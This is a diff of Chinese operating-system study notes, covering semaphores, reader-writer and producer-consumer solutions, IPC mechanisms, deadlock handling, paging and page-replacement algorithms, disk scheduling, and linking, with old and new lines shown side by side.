为了同步生产者和消费者的行为需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计这里需要使用两个信号量empty 记录空缓冲区的数量full 记录满缓冲区的数量。其中empty 信号量是在生产者进程中使用,当 empty 不为 0 时生产者才可以放入物品full 信号量是在消费者进程中使用,当 full 信号量不为 0 时,消费者才可以取走物品。 为了同步生产者和消费者的行为需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计这里需要使用两个信号量empty 记录空缓冲区的数量full 记录满缓冲区的数量。其中empty 信号量是在生产者进程中使用,当 empty 不为 0 时生产者才可以放入物品full 信号量是在消费者进程中使用,当 full 信号量不为 0 时,消费者才可以取走物品。
注意,不能先对缓冲区进行加锁,再测试信号量。也就是说,不能先执行 down(mutex) 再执行 down(empty)。如果这么做了,那么可能会出现这种情况:生产者对缓冲区加锁后,执行 down(empty) 操作,发现 empty = 0此时生产者睡眠。消费者不能进入临界区因为生产者对缓冲区加锁了就无法执行 up(empty) 操作empty 永远都为 0那么生产者和消费者就会一直等待下去,造成死锁 注意,不能先对缓冲区进行加锁,再测试信号量。也就是说,不能先执行 down(mutex) 再执行 down(empty)。如果这么做了,那么可能会出现这种情况:生产者对缓冲区加锁后,执行 down(empty) 操作,发现 empty = 0此时生产者睡眠。消费者不能进入临界区因为生产者对缓冲区加锁了消费者就无法执行 up(empty) 操作empty 永远都为 0导致生产者永远等待下,不会释放锁,消费者因此也会永远等待下去
```c ```c
#define N 100 #define N 100
@ -293,7 +323,7 @@ semaphore empty = N;
semaphore full = 0; semaphore full = 0;
void producer() { void producer() {
while(TRUE){ while(TRUE) {
int item = produce_item(); int item = produce_item();
down(&empty); down(&empty);
down(&mutex); down(&mutex);
@ -304,7 +334,7 @@ void producer() {
} }
void consumer() { void consumer() {
while(TRUE){ while(TRUE) {
down(&full); down(&full);
down(&mutex); down(&mutex);
int item = remove_item(); int item = remove_item();
@ -342,7 +372,7 @@ end monitor;
管程引入了 **条件变量** 以及相关的操作:**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。 管程引入了 **条件变量** 以及相关的操作:**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
<font size=3> **使用管程实现生者-消费者问题** </font><br> <font size=3> **使用管程实现生者-消费者问题** </font><br>
```pascal ```pascal
// 管程 // 管程
@ -428,6 +458,116 @@ void writer() {
} }
``` ```
以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。
The first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).
```source-c
int readcount, writecount; //(initial value = 0)
semaphore rmutex, wmutex, readLock, resource; //(initial value = 1)
//READER
void reader() {
<ENTRY Section>
down(&readLock); // reader is trying to enter
down(&rmutex); // lock to increase readcount
readcount++;
if (readcount == 1)
down(&resource); //if you are the first reader then lock the resource
up(&rmutex); //release for other readers
up(&readLock); //Done with trying to access the resource
<CRITICAL Section>
//reading is performed
<EXIT Section>
down(&rmutex); //reserve exit section - avoids race condition with readers
readcount--; //indicate you're leaving
if (readcount == 0) //checks if you are last reader leaving
up(&resource); //if last, you must release the locked resource
up(&rmutex); //release exit section for other readers
}
//WRITER
void writer() {
<ENTRY Section>
down(&wmutex); //reserve entry section for writers - avoids race conditions
writecount++; //report yourself as a writer entering
if (writecount == 1) //checks if you're first writer
down(&readLock); //if you're first, then you must lock the readers out. Prevent them from trying to enter CS
up(&wmutex); //release entry section
<CRITICAL Section>
down(&resource); //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource
//writing is performed
up(&resource); //release file
<EXIT Section>
down(&wmutex); //reserve exit section
writecount--; //indicate you're leaving
if (writecount == 0) //checks if you're the last writer
up(&readLock); //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading
up(&wmutex); //release exit section
}
```
We can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesnt need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.
From the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.
```source-c
int readCount; // init to 0; number of readers currently accessing resource
// all semaphores initialised to 1
Semaphore resourceAccess; // controls access (read/write) to the resource
Semaphore readCountAccess; // for syncing changes to shared variable readCount
Semaphore serviceQueue; // FAIRNESS: preserves ordering of requests (signaling must be FIFO)
void writer()
{
down(&serviceQueue); // wait in line to be servicexs
// <ENTER>
down(&resourceAccess); // request exclusive access to resource
// </ENTER>
up(&serviceQueue); // let next in line be serviced
// <WRITE>
writeResource(); // writing is performed
// </WRITE>
// <EXIT>
up(&resourceAccess); // release resource access for next reader/writer
// </EXIT>
}
void reader()
{
down(&serviceQueue); // wait in line to be serviced
down(&readCountAccess); // request exclusive access to readCount
// <ENTER>
if (readCount == 0) // if there are no readers already reading:
down(&resourceAccess); // request resource access for readers (writers blocked)
readCount++; // update count of active readers
// </ENTER>
up(&serviceQueue); // let next in line be serviced
up(&readCountAccess); // release access to readCount
// <READ>
readResource(); // reading is performed
// </READ>
down(&readCountAccess); // request exclusive access to readCount
// <EXIT>
readCount--; // update count of active readers
if (readCount == 0) // if there are no readers left:
up(&resourceAccess); // release resource access for all
// </EXIT>
up(&readCountAccess); // release access to readCount
}
```
### 2. 哲学家进餐问题 ### 2. 哲学家进餐问题
<div align="center"> <img src="../pics//a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br> <div align="center"> <img src="../pics//a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br>
@ -510,53 +650,63 @@ void test(i) { // 尝试拿起两把筷子
进程通信是一种手段,而进程同步是一种目的。也可以说,为了能够达到进程同步的目的,需要让进程进行通信,传输一些进程同步所需要的信息。 进程通信是一种手段,而进程同步是一种目的。也可以说,为了能够达到进程同步的目的,需要让进程进行通信,传输一些进程同步所需要的信息。
### 1. 信号量 ### 1. 管道
在进程同步中介绍的信号量也属于进程通信的一种方式,但是属于低级别的进程通信,因为它传输的信息非常小 管道是通过调用 pipe 函数创建的fd[0] 用于读fd[1] 用于写
### 2. 消息传递 ```c
#include <unistd.h>
int pipe(int fd[2]);
```
操作系统提供了用于通信的通道Channel进程可以通过读写这个通道进行通信。 它具有以下限制:
<div align="center"> <img src="../pics//037c3a0b-332d-434d-a374-f343ef72c8e1.jpg" width="400"/> </div><br> - 只支持半双工通信(单向交替传输);
- 只能在父子进程中使用。
**(一)管道** <div align="center"> <img src="../pics//53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png"/> </div><br>
写进程在管道的尾端写入数据,读进程在管道的首端读出数据。管道提供了简单的流控制机制,进程试图读空管道时,在有数据写入管道前,进程将一直阻塞。同样地,管道已经满时,进程再试图写管道,在其它进程从管道中移走数据之前,写进程将一直阻塞。 ### 2. FIFO
Linux 中管道通过空文件实现 也称为命名管道,去除了管道只能在父子进程中使用的限制
管道有三种: ```c
#include <sys/stat.h>
int mkfifo(const char *path, mode_t mode);
int mkfifoat(int fd, const char *path, mode_t mode);
```
- 普通管道:有两个限制,一是只能单向传输;二是只能在父子进程之间使用; FIFO 常用于客户-服务器应用程序中FIFO 用作汇聚点,在客户进程和服务器进程之间传递数据。
- 流管道:去除第一个限制,支持双向传输;
- 命名管道:去除第二个限制,可以在不相关进程之间进行通信。
<div align="center"> <img src="../pics//7f642a65-b167-4c8f-b382-8322c6322b2c.jpg" width="400"/> </div><br> <div align="center"> <img src="../pics//2ac50b81-d92a-4401-b9ec-f2113ecc3076.png"/> </div><br>
**(二)消息队列** ### 3. 消息队列
消息队列克服了信号量传递信息少、管道只能承载无格式字节流以及缓冲区大小受限等缺点。 相比于 FIFO消息队列具有以下优点
<div align="center"> <img src="../pics//d49466db-fdd3-4d36-8a86-47dc45c07a1e.jpg" width="400"/> </div><br> - 消息队列可以独立于读写进程存在,从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难;
- 避免了 FIFO 的同步阻塞问题,不需要进程自己提供同步方法;
- 读进程可以根据消息类型有选择地接收消息,而不像 FIFO 那样只能默认地接收。
**(三)套接字** ### 4. 信号量
套接字也是一种进程间通信机制,与其它通信机制不同的是,它可用于不同机器间的进程通信 它是一个计数器,用于为多个进程提供对共享数据对象的访问
<div align="center"> <img src="../pics//699b4f96-d63f-46ea-a581-2b3d95eceb6a.jpg" width="400"/> </div><br> ### 5. 共享存储
### 3. 共享内存 允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制,所以这是最快的一种 IPC。
操作系统建立一块共享内存,并将其映射到每个进程的地址空间上,进程就可以直接对这块共享内存进行读写 需要使用信号量用来同步对共享存储的访问
共享内存是最快的进程通信方式 多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件,而是使用使用内存的匿名段
<div align="center"> <img src="../pics//7be0abf9-687c-4451-becd-626b0be7ec22.jpg" width="400"/> </div><br> ### 6. 套接字
与其它通信机制不同的是,它可用于不同机器间的进程通信。
# 三、死锁 # 三、死锁
## 死锁的必要条件 ## 必要条件
<div align="center"> <img src="../pics//c037c901-7eae-4e31-a1e4-9d41329e5c3e.png"/> </div><br> <div align="center"> <img src="../pics//c037c901-7eae-4e31-a1e4-9d41329e5c3e.png"/> </div><br>
@ -565,21 +715,30 @@ Linux 中管道通过空文件实现。
- 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显式地释放。 - 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显式地释放。
- 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。 - 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
## 死锁的处理方法 ## 处理方法
### 1. 鸵鸟策略 主要有以下四种方法:
- 鸵鸟策略;
- 死锁检测与死锁恢复
- 死锁预防
- 死锁避免
## 鸵鸟策略
把头埋在沙子里,假装根本没发生问题。 把头埋在沙子里,假装根本没发生问题。
因为解决死锁问题的代价很高,因此鸵鸟策略这种不采取任务措施的方案会获得更高的性能。当发生死锁时不会对用户造成多大影响,或发生死锁的概率很低,可以采用鸵鸟策略。 因为解决死锁问题的代价很高,因此鸵鸟策略这种不采取任务措施的方案会获得更高的性能。
当发生死锁时不会对用户造成多大影响,或发生死锁的概率很低,可以采用鸵鸟策略。
大多数操作系统,包括 UnixLinux 和 Windows处理死锁问题的办法仅仅是忽略它。 大多数操作系统,包括 UnixLinux 和 Windows处理死锁问题的办法仅仅是忽略它。
### 2. 死锁检测与死锁恢复 ## 死锁检测与死锁恢复
不试图阻止死锁,而是当检测到死锁发生时,采取措施进行恢复。 不试图阻止死锁,而是当检测到死锁发生时,采取措施进行恢复。
**(一)每种类型一个资源的死锁检测** ### 1. 每种类型一个资源的死锁检测
<div align="center"> <img src="../pics//b1fa0453-a4b0-4eae-a352-48acca8fff74.png"/> </div><br> <div align="center"> <img src="../pics//b1fa0453-a4b0-4eae-a352-48acca8fff74.png"/> </div><br>
@ -589,7 +748,7 @@ Linux 中管道通过空文件实现。
每种类型一个资源的死锁检测算法是通过检测有向图是否存在环来实现,从一个节点出发进行深度优先搜索,对访问过的节点进行标记,如果访问了已经标记的节点,就表示有向图存在环,也就是检测到死锁的发生。 每种类型一个资源的死锁检测算法是通过检测有向图是否存在环来实现,从一个节点出发进行深度优先搜索,对访问过的节点进行标记,如果访问了已经标记的节点,就表示有向图存在环,也就是检测到死锁的发生。
**(二)每种类型多个资源的死锁检测** ### 2. 每种类型多个资源的死锁检测
<div align="center"> <img src="../pics//e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png"/> </div><br> <div align="center"> <img src="../pics//e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png"/> </div><br>
@ -610,35 +769,35 @@ Linux 中管道通过空文件实现。
2. 如果找到了这样一个进程,那么将 C 矩阵的第 i 行向量加到 A 中,标记该进程,并转回 1。 2. 如果找到了这样一个进程,那么将 C 矩阵的第 i 行向量加到 A 中,标记该进程,并转回 1。
3. 如果没有这样一个进程,算法终止。 3. 如果没有这样一个进程,算法终止。
**(三)死锁恢复** ### 3. 死锁恢复
- 利用抢占恢复 - 利用抢占恢复
- 利用回滚恢复 - 利用回滚恢复
- 通过杀死进程恢复 - 通过杀死进程恢复
### 3. 死锁预防 ## 死锁预防
在程序运行之前预防发生死锁。 在程序运行之前预防发生死锁。
**(一)破坏互斥条件** ### 1. 破坏互斥条件
例如假脱机打印机技术允许若干个进程同时输出,唯一真正请求物理打印机的进程是打印机守护进程。 例如假脱机打印机技术允许若干个进程同时输出,唯一真正请求物理打印机的进程是打印机守护进程。
**(二)破坏占有和等待条件** ### 2. 破坏占有和等待条件
一种实现方式是规定所有进程在开始执行前请求所需要的全部资源。 一种实现方式是规定所有进程在开始执行前请求所需要的全部资源。
**(三)破坏不可抢占条件** ### 3. 破坏不可抢占条件
**(四)破坏环路等待** ### 4. 破坏环路等待
给资源统一编号,进程只能按编号顺序来请求资源。 给资源统一编号,进程只能按编号顺序来请求资源。
### 4. 死锁避免 ## 死锁避免
在程序运行时避免发生死锁。 在程序运行时避免发生死锁。
**(一)安全状态** ### 1. 安全状态
<div align="center"> <img src="../pics//ed523051-608f-4c3f-b343-383e2d194470.png"/> </div><br> <div align="center"> <img src="../pics//ed523051-608f-4c3f-b343-383e2d194470.png"/> </div><br>
@ -648,7 +807,7 @@ Linux 中管道通过空文件实现。
安全状态的检测与死锁的检测类似,因为安全状态必须要求不能发生死锁。下面的银行家算法与死锁检测算法非常类似,可以结合着做参考对比。 安全状态的检测与死锁的检测类似,因为安全状态必须要求不能发生死锁。下面的银行家算法与死锁检测算法非常类似,可以结合着做参考对比。
**(二)单个资源的银行家算法** ### 2. 单个资源的银行家算法
一个小城镇的银行家,他向一群客户分别承诺了一定的贷款额度,算法要做的是判断对请求的满足是否会进入不安全状态,如果是,就拒绝请求;否则予以分配。 一个小城镇的银行家,他向一群客户分别承诺了一定的贷款额度,算法要做的是判断对请求的满足是否会进入不安全状态,如果是,就拒绝请求;否则予以分配。
@ -656,7 +815,7 @@ Linux 中管道通过空文件实现。
上图 c 为不安全状态,因此算法会拒绝之前的请求,从而避免进入图 c 中的状态。 上图 c 为不安全状态,因此算法会拒绝之前的请求,从而避免进入图 c 中的状态。
**(三)多个资源的银行家算法** ### 3. 多个资源的银行家算法
<div align="center"> <img src="../pics//62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png"/> </div><br> <div align="center"> <img src="../pics//62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png"/> </div><br>
@ -676,20 +835,19 @@ Linux 中管道通过空文件实现。
虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存,从而让程序获得更多的可用内存。 虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存,从而让程序获得更多的可用内存。
为了更好的管理内存,操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间,这个地址空间被分割成多个块,每一块称为一页。这些页被映射到物理内存,但不需要映射到连续的物理内存,也不需要所有页都必须在物理内存中。当程序引用到一部分不在物理内存中的地址空间时,由硬件执行必要的映射,将缺失的部分装入物理内存并重新执行失败的指令。 为了更好的管理内存,操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间,这个地址空间被分割成多个块,每一块称为一页。这些页被映射到物理内存,但不需要映射到连续的物理内存,也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的时,由硬件执行必要的映射,将缺失的部分装入物理内存并重新执行失败的指令。
从上面的描述中可以看出,虚拟内存允许程序地址空间中的每一页都映射到物理内存,也就是说一个程序不需要全部调入内存就可以运行,这使得有限的内存运行大程序称为可能。例如有一台计算机可以产生 16 位地址,那么一个程序的地址空间范围是 0\~64K。该计算机只有 32KB 的物理内存,虚拟内存技术允许该计算机运行一个 64K 大小的程序。 从上面的描述中可以看出,虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存,也就是说一个程序不需要全部调入内存就可以运行,这使得有限的内存运行大程序称为可能。例如有一台计算机可以产生 16 位地址,那么一个程序的地址空间范围是 0\~64K。该计算机只有 32KB 的物理内存,虚拟内存技术允许该计算机运行一个 64K 大小的程序。
<div align="center"> <img src="../pics//7b281b1e-0595-402b-ae35-8c91084c33c1.png"/> </div><br> <div align="center"> <img src="../pics//7b281b1e-0595-402b-ae35-8c91084c33c1.png"/> </div><br>
## 分页系统地址映射 ## 分页系统地址映射
- 内存管理单元MMU管理着地址空间和物理内存的转换。 内存管理单元MMU管理着地址空间和物理内存的转换其中的页表Page table存储着页程序地址空间和页框物理内存空间的映射表
- 页表Page table地址空间和页框物理内存空间的映射表。例如下图中页表的第 0 个表项为 010表示第 0 个页映射到第 2 个页框。页表项的最后一位用来标记页是否在内存中。
下图的页表存放着 16 个页,这 16 个页需要用 4 个比特位来进行索引定位。因此对于虚拟地址0010 000000000100前 4 位是用来存储页面号,而后 12 位存储在页中的偏移量。 下图的页表存放着 16 个页,这 16 个页需要用 4 个比特位来进行索引定位,也就是存储页面号,剩下 12 个比特位存储偏移量。
0010 000000000100根据前 4 位得到页号为 2读取表项内容为110 1,它的前 3 为为页框号,最后 1 位表示该页在内存中。最后映射得到物理内存地址为110 000000000100 例如对于虚拟地址0010 000000000100前 4 位是存储页面号 2读取表项内容为110 1。该页在内存中,并且页框的地址为 110 000000000100
<div align="center"> <img src="../pics//cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/> </div><br> <div align="center"> <img src="../pics//cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/> </div><br>
@ -697,6 +855,8 @@ Linux 中管道通过空文件实现。
在程序运行过程中,如果要访问的页面不在内存中,就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间,系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。 在程序运行过程中,如果要访问的页面不在内存中,就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间,系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。
页面置换算法和缓存淘汰策略类似,可以将内存看成磁盘的缓存。在缓存系统中,缓存的大小有限,当有新的缓存到达时,需要淘汰一部分已经存在的缓存,这样才有空间存放新的缓存数据。
页面置换算法的主要目标是使页面置换频率最低(也可以说缺页率最低)。 页面置换算法的主要目标是使页面置换频率最低(也可以说缺页率最低)。
### 1. 最佳 ### 1. 最佳
@ -713,60 +873,56 @@ Linux 中管道通过空文件实现。
开始运行时,先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时,产生缺页中断,会将页面 7 换出,因为页面 7 再次被访问的时间最长。 开始运行时,先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时,产生缺页中断,会将页面 7 换出,因为页面 7 再次被访问的时间最长。
### 2. 先进先出 ### 2. 最近最久未使用
> FIFO, First In First Out
所选择换出的页面是最先进入的页面。
该算法会将那些经常被访问的页面也被换出,从而使缺页率升高。
### 3. 最近未使用
> NRU, Not Recently Used
首先,系统为毎一页面设置了两个状态位。当页面被访问 (读或写) 时设置 R 位; 当页面 (即修改页面) 被写入时设置 M 位。当启动一个进程时,它的所有页面的两个位都由操作系统设置成 0R 位被定期地 (比如在每次时钟中断时) 清零,以区别最近没有被访问的页面和被访问的页面。
当发生缺页中断时,操作系统检査所有的页面并根据它们当前的 R 位和 M 位的值,把它们分为 4 类:
* 第 0 类: 没有被访问,没有被修改
* 第 1 类: 没有被访问,已被修改
* 第 2 类: 已被访问,没有被修改
* 第 3 类: 已被访问,已被修改
NRU 算法随机地从类编号最小的非空类中挑选一个页面淘汰之。
算法隐含的意思是,在最近一个时钟滴答中 (典型的时间是大约 20ms) 淘汰一个没有被访问的已修改页面要比一个被频繁使用的 “十净” 页面好。NRU 主要优点是易于理解和能够有效地被实现,虽然它的性能不是最好的,但是已经够用了。
### 4. 最近最久未使用
> LRU, Least Recently Used > LRU, Least Recently Used
虽然无法知道将来要使用的页面情况但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。 虽然无法知道将来要使用的页面情况但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。
可以用栈来实现该算法,栈中存储页面的页面号。当进程访问一个页面时,将该页面的页面号从栈移除,并将它压入栈顶。这样,最近被访问的页面总是在栈顶,而最近最久未使用的页面总是在栈底 为了实现 LRU需要在内存中维护一个所有页面的链表。当一个页面被访问时将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的
因为每次访问都需要更新链表,因此这种方式实现的 LRU 代价很高。
<div align="center"><img src="https://latex.codecogs.com/gif.latex?47071012126"/></div> <br> <div align="center"><img src="https://latex.codecogs.com/gif.latex?47071012126"/></div> <br>
<div align="center"> <img src="../pics//eb859228-c0f2-4bce-910d-d9f76929352b.png"/> </div><br> <div align="center"> <img src="../pics//eb859228-c0f2-4bce-910d-d9f76929352b.png"/> </div><br>
### 3. 最近未使用
> NRU, Not Recently Used
每个页面都有两个状态位R 与 M当页面被访问时设置页面的 R=1当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类:
- R=0M=0
- R=0M=1
- R=1M=0
- R=1M=1
当发生缺页中断时NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。
NRU 优先换出已经被修改的脏页面R=0M=1而不是被频繁使用的干净页面R=1M=0
### 4. 先进先出
> FIFO, First In First Out
选择换出的页面是最先进入的页面。
该算法会将那些经常被访问的页面也被换出,从而使缺页率升高。
### 5. 第二次机会算法 ### 5. 第二次机会算法
FIFO 算法可能会把经常使用的页面置换出去,为了避免这一问题,对该算法做一个简单的修改: FIFO 算法可能会把经常使用的页面置换出去,为了避免这一问题,对该算法做一个简单的修改:
当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候检查最老页面的 R 位。如果 R 位是 0那么这个页面既老又没有被使用可以立刻置换掉; 如果是 1就将 R 位清 0并把该页面放到链表的尾端修改它的装入时间使它就像刚装入的一样然后继续从链表的头部开始搜索 当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候检查最老页面的 R 位。如果 R 位是 0那么这个页面既老又没有被使用可以立刻置换掉如果是 1就将 R 位清 0并把该页面放到链表的尾端修改它的装入时间使它就像刚装入的一样然后继续从链表的头部开始搜索
<div align="center"> <img src="../pics//ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png"/> </div><br> <div align="center"> <img src="../pics//ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png"/> </div><br>
第二次机会算法就是寻找一个最近的时钟间隔以来没有被访问过的页面。如果所有的页面都被访问过了,该算法就简化为纯粹的 FIFO 算法。
### 6. 时钟 ### 6. 时钟
> Clock > Clock
需要用到一个访问位,当一个页面被访问时,将访问位置为 1 第二次机会算法需要在链表中移动页面,降低了效率。时钟算法使用环形链表将页面连接起来,再使用一个指针指向最老的页面
首先,将内存中的所有页面链接成一个循环队列,当缺页中断发生时,检查当前指针所指向页面的访问位,如果访问位为 0就将该页面换出否则将该页的访问位设置为 0给该页面第二次的机会移动指针继续检查。
<div align="center"> <img src="../pics//5f5ef0b6-98ea-497c-a007-f6c55288eab1.png"/> </div><br> <div align="center"> <img src="../pics//5f5ef0b6-98ea-497c-a007-f6c55288eab1.png"/> </div><br>
@ -798,39 +954,56 @@ FIFO 算法可能会把经常使用的页面置换出去,为了避免这一问
# 五、设备管理 # 五、设备管理
## 磁盘结构
- 盘面Platter一个磁盘有多个盘面
- 磁道Track盘面上的圆形带状区域一个盘面可以有多个磁道
- 扇区Track Sector磁道上的一个弧段一个磁道可以有多个扇区它是最小的物理储存单位目前主要有 512 bytes 与 4 K 两种大小;
- 磁头Head与盘面非常接近能够将盘面上的磁场转换为电信号或者将电信号转换为盘面的磁场
- 制动手臂Actuator arm用于在磁道之间移动磁头
- 主轴Spindle使整个盘面转动。
<div align="center"> <img src="../pics//014fbc4d-d873-4a12-b160-867ddaed9807.jpg"/> </div><br>
## 磁盘调度算法 ## 磁盘调度算法
当多个进程同时请求访问磁盘时,需要进行磁盘调度来控制对磁盘的访问。 读写一个磁盘块的时间的影响因素有:
磁盘调度的主要目标是使磁盘的平均寻道时间最少。 - 旋转时间(主轴转动盘面,使得磁头移动到适当的扇区上)
- 寻道时间(制动手臂移动,使得磁头移动到适当的磁道上)
- 实际的数据传输时间
其中,寻道时间最长,因此磁盘调度的主要目标是使磁盘的平均寻道时间最短。
### 1. 先来先服务 ### 1. 先来先服务
> FCFS, First Come First Served > FCFS, First Come First Served
根据进程请求访问磁盘的先后次序来进行调度。优点是公平和简单,缺点也很明显,因为未对寻道做任何优化,使平均寻道时间可能较长 按照磁盘请求的顺序进行调度
优点是公平和简单。缺点也很明显,因为未对寻道做任何优化,使平均寻道时间可能较长。
### 2. 最短寻道时间优先 ### 2. 最短寻道时间优先
> SSTF, Shortest Seek Time First > SSTF, Shortest Seek Time First
要求访问的磁道与当前磁头所在磁道距离最近的优先进行调度。这种算法并不能保证平均寻道时间最短,但是比 FCFS 好很多 优先调度与当前磁头所在磁道距离最近的磁道
### 3. 扫描算法 虽然平均寻道时间比较低,但是不够公平。如果新到达的磁道请求总是比一个在等待的磁道请求近,那么在等待的磁道请求会一直等待下去,也就是出现饥饿现象。具体来说,两边的磁道请求更容易出现饥饿现象。
<div align="center"> <img src="../pics//4e2485e4-34bd-4967-9f02-0c093b797aaa.png"/> </div><br>
### 3. 电梯算法
> SCAN > SCAN
SSTF 会出现饥饿现象。考虑以下情况,新进程请求访问的磁道与磁头所在磁道的距离总是比一个在等待的进程来的近,那么等待的进程会一直等待下去 电梯总是保持一个方向运行,直到该方向没有请求为止,然后改变运行方向
SCAN 算法在 SSTF 算法之上考虑了磁头的移动方向,要求所请求访问的磁道在磁头当前移动方向上才能够得到调度。因为考虑了移动方向,那么一个进程请求访问的磁道一定会得到调度 电梯算法(扫描算法)和电梯的运行过程类似,总是按一个方向来进行磁盘调度,直到该方向上没有未完成的磁盘请求,然后改变方向
当一个磁头自里向外移动时,移到最外侧会改变移动方向为自外向里,这种移动的规律类似于电梯的运行,因此又常称 SCAN 算法为电梯调度算法 因为考虑了移动方向,因此所有的磁盘请求都会被满足,解决了 SSTF 的饥饿问题
### 4. 循环扫描算法 <div align="center"> <img src="../pics//271ce08f-c124-475f-b490-be44fedc6d2e.png"/> </div><br>
> CSCAN
CSCAN 对 SCAN 进行了改动,要求磁头始终沿着一个方向移动。
# 六、链接 # 六、链接
@ -860,23 +1033,23 @@ gcc -o hello hello.c
- 预处理阶段:处理以 # 开头的预处理命令; - 预处理阶段:处理以 # 开头的预处理命令;
- 编译阶段:翻译成汇编文件; - 编译阶段:翻译成汇编文件;
- 汇编阶段:将汇编文件翻译成可重定向目标文件,它是二进制的 - 汇编阶段:将汇编文件翻译成可重定向目标文件;
- 链接阶段:将可重定向目标文件和 printf.o 等单独预编译好的目标文件进行合并,得到最终的可执行目标文件。 - 链接阶段:将可重定向目标文件和 printf.o 等单独预编译好的目标文件进行合并,得到最终的可执行目标文件。
## 静态链接
静态链接器以一组可重定向目标文件为输入,生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务:
- 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用与一个符号定义关联起来。
- 重定位:链接器通过把每个符号定义与一个内存位置关联起来,然后修改所有对这些符号的引用,使得它们指向这个内存位置。
<div align="center"> <img src="../pics//47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br>
## 目标文件 ## 目标文件
- 可执行目标文件:可以直接在内存中执行; - 可执行目标文件:可以直接在内存中执行;
- 可重定向目标文件:可与其它可重定向目标文件在链接阶段合并,创建一个可执行目标文件; - 可重定向目标文件:可与其它可重定向目标文件在链接阶段合并,创建一个可执行目标文件;
- 共享目标文件:可以在运行时被动态加载进内存并链接; - 共享目标文件:这是一种特殊的可重定向目标文件,可以在运行时被动态加载进内存并链接;
## 静态链接
静态连接器以一组可重定向目标文件为输入,生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务:
- 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用与一个符号定义关联起来。
- 重定位:编译器和汇编器生成从地址 0 开始的代码和数据节,链接器通过把每个符号定义与一个内存位置关联起来,从而重定位这些节,然后修改所有对这些符号的引用,使得它们指向这个内存位置。
<div align="center"> <img src="../pics//47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br>
## 动态链接 ## 动态链接
@ -887,8 +1060,8 @@ gcc -o hello hello.c
共享库是为了解决静态库的这两个问题而设计的,在 Linux 系统中通常用 .so 后缀来表示Windows 系统上它们被称为 DLL。它具有以下特点 共享库是为了解决静态库的这两个问题而设计的,在 Linux 系统中通常用 .so 后缀来表示Windows 系统上它们被称为 DLL。它具有以下特点
- 在给定的文件系统中一个库只有一个 .so 文件,所有引用该库的可执行目标文件都共享这个文件,它不会被复制到引用它的可执行文件中; - 在给定的文件系统中一个库只有一个文件,所有引用该库的可执行目标文件都共享这个文件,它不会被复制到引用它的可执行文件中;
- 在内存中,一个共享库的 .text 节的一个副本可以被不同的正在运行的进程共享。 - 在内存中,一个共享库的 .text 节(已编译程序的机器代码)的一个副本可以被不同的正在运行的进程共享。
<div align="center"> <img src="../pics//76dc7769-1aac-4888-9bea-064f1caa8e77.jpg"/> </div><br> <div align="center"> <img src="../pics//76dc7769-1aac-4888-9bea-064f1caa8e77.jpg"/> </div><br>
@ -897,8 +1070,9 @@ gcc -o hello hello.c
